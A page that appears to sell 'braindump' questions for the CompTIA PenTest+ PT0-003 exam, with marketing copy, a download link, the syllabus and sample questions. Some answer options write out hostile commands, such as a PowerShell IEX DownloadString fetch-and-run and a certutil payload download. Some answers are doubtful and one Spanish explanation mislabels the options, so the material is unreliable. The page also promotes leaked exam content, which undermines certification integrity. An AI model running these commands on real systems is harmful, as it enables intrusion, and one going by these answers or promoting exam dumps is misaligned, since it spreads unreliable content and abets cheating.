Latest New PT0-003 Dumps - Win Your CompTIA Certificate with Top Score

BONUS!!! Download part of ExamDiscuss PT0-003 dumps for free: https://drive.google.com/open?id=1OX8Tt7hQBdKxjqKMHLDZ5KhXyeNs14HX

In order to meet different needs for PT0-003 exam bootcamp, three versions are available. You can choose the most suitable one according to your own exam needs. All three have free demo for you to have a try before buying. PT0-003 PDF version is printable, you can study them anytime. PT0-003 Soft test engine supports MS operating system, and have two modes for practice, and it can also stimulate the real exam environment, therefore, this version can build you exam confidence. PT0-003 Online test engine is convenient to learn, and it also supports offline practice.

If you are still hesitating about whether you can get PT0-003 certification through the exam, we believed that our PT0-003 study materials will be your best choice, it will tell you that passing the exam is no longer a dream for you, and it will be your best assistant on the way to passing the exam. Tens of thousands of our customers have benefited from our PT0-003 Exam Braindumps and got their certifications. So you will as long as you choose to buy our PT0-003 practice guide.

>> New PT0-003 Dumps <<

New PT0-003 Dumps - Free PDF Quiz PT0-003 - CompTIA PenTest+ Exam – First-grade Test Simulator Fee

Perhaps you still have doubts about our PT0-003 study tool. You can contact other buyers to confirm. Our company always regards quality as the most important things. The pursuit of quantity is meaningless. Our company positively accepts annual official quality inspection. All of our PT0-003 real exam dumps have passed the official inspection every year. Our study materials are completely reliable and responsible for all customers. The development process of our study materials is strict. We will never carry out the PT0-003 real exam dumps that are under researching. All PT0-003 Study Tool that can be sold to customers are mature products. We are not chasing for enormous economic benefits. As for a company, we are willing to assume more social responsibility. So our PT0-003 real exam dumps are manufactured carefully, which could endure the test of practice. Stable and healthy development is our long lasting pursuit. In order to avoid fake products, we strongly advise you to purchase our PT0-003 exam question on our official website.

CompTIA PT0-003 Exam Syllabus Topics:

Topic	Details
Topic 1	• Vulnerability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand security gaps beyond just the digital landscape.

Topic 2	• Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud, wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and automating attacks with scripting will also be emphasized.
Topic 3	• Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration purposes. They will also understand which tools to use for these stages, essential for gathering crucial information before performing deeper penetration tests.
Topic 4	• Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities, collaboration, and communication in a penetration testing environment. The topic covers testing frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and recommend remediation effectively within reports, crucial for real-world testing scenarios.
Topic 5	• Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and maintaining persistence within a system. This topic also covers lateral movement within an environment and introduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities, ensuring analysts understand the post-exploitation phase's responsibilities.

CompTIA PenTest+ Exam Sample Questions (Q253-Q258):

NEW QUESTION # 253
A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are:

```
https://xx.xx.xx.x/vpn/../vpns/portal/scripts/newbm.pl
https://xx.xx.xx.x/vpn/../vpns/portal/scripts/rmbm.pl
https://xx.xx.xx.x/vpn/../vpns/portal/scripts/pikctheme.pl
https://xx.xx.xx.x/vpn/../vpns/cfg/smb.conf
```

Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

- A. Edit the discovered file with one line of code for remote callback
- B. Edit the smb.conf file and upload it to the server
- C. Download .pl files and look for usernames and passwords
- D. Download the smb.conf file and look at configurations

Answer: B

NEW QUESTION # 254
A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)

- A. Nikto
- B. Burp Suite
- C. Retina
- D. Nessus
- E. Wireshark
- F. Shodan

Answer: E,F

Explanation:
Wireshark and Shodan are two tools that can be used to perform passive reconnaissance, which means collecting information from publicly available sources without interacting with the target or revealing one's identity. Wireshark is a tool that can be used to capture and analyze network traffic, such as packets, protocols, or sessions, without sending any data to the target. Shodan is a tool

that can be used to search for devices or services on the internet, such as web servers, routers, cameras, or firewalls, without contacting them directly. The other tools are not passive reconnaissance tools, but rather active reconnaissance tools, which means interacting with the target or sending data to it. Nessus and Retina are tools that can be used to perform vulnerability scanning, which involves sending probes or requests to the target and analyzing its responses for potential weaknesses. Burp Suite is a tool that can be used to perform web application testing, which involves intercepting and modifying web requests and responses between the browser and the server.
Reference: https://resources.infosecinstitute.com/topic/top-10-network-recon-tools/

NEW QUESTION # 255
A tester gains initial access to a server and needs to enumerate all corporate domain DNS records. Which of the following commands should the tester use?

- A. nslookup -server local.dns.server local.domain *
- B. nslookup local.domain
- C. dig axfr @local.dns.server
- D. dig +short A AAAA local.domain

Answer: C

Explanation:
La opcion C, dig axfr @local.dns.server, realiza una transferencia de zona DNS (Zone Transfer). Si el servidor DNS esta mal configurado y permite este tipo de solicitudes, el atacante puede obtener todos los registros DNS del dominio interno.
La opcion A muestra solo registros A/AAAA. La B no hace enumeracion completa. La D no es valida como sintaxis.
Referencia: PT0-003 Objective 3.3 - Perform domain enumeration using dig and DNS zone transfer techniques.

NEW QUESTION # 256
A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access. Which of the following commands should the penetration tester use?

- A. powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/")
- B. rundll32.exe c:\path\foo.dll,functName
- C. powershell.exe impo C:\tools\foo.ps1
- D. certutil.exe -f https://192.168.0.1/foo.exe bad.exe

Answer: D

Explanation:
To execute a payload and gain additional access, the penetration tester should use certutil.exe.
Using certutil.exe:
Purpose: certutil.exe is a built-in Windows utility that can be used to download files from a remote server, making it useful for fetching and executing payloads.
Command: certutil.exe -f https://192.168.0.1/foo.exe bad.exe downloads the file foo.exe from the specified URL and saves it as bad.exe.

NEW QUESTION # 257
A penetration tester is conducting a test after hours and notices a critical system was taken down. Which of the following contacts should be notified first?

- A. Secondary
- B. Primary
- C. Emergency
- D. Technical

Answer: B

Explanation:
In the context of penetration testing, the primary contact is typically the first point of contact established before the penetration test begins. This person is usually a stakeholder or an individual who has the authority and responsibility over the system being tested. In

the scenario where a critical system is taken down during off-hours, the primary contact should be notified first to ensure a prompt and coordinated response. The primary contact can then decide on the next steps, including escalating the issue to technical, secondary, or emergency contacts if necessary. This approach maintains the chain of command and ensures that the appropriate parties are informed in a structured manner.

NEW QUESTION # 258

.....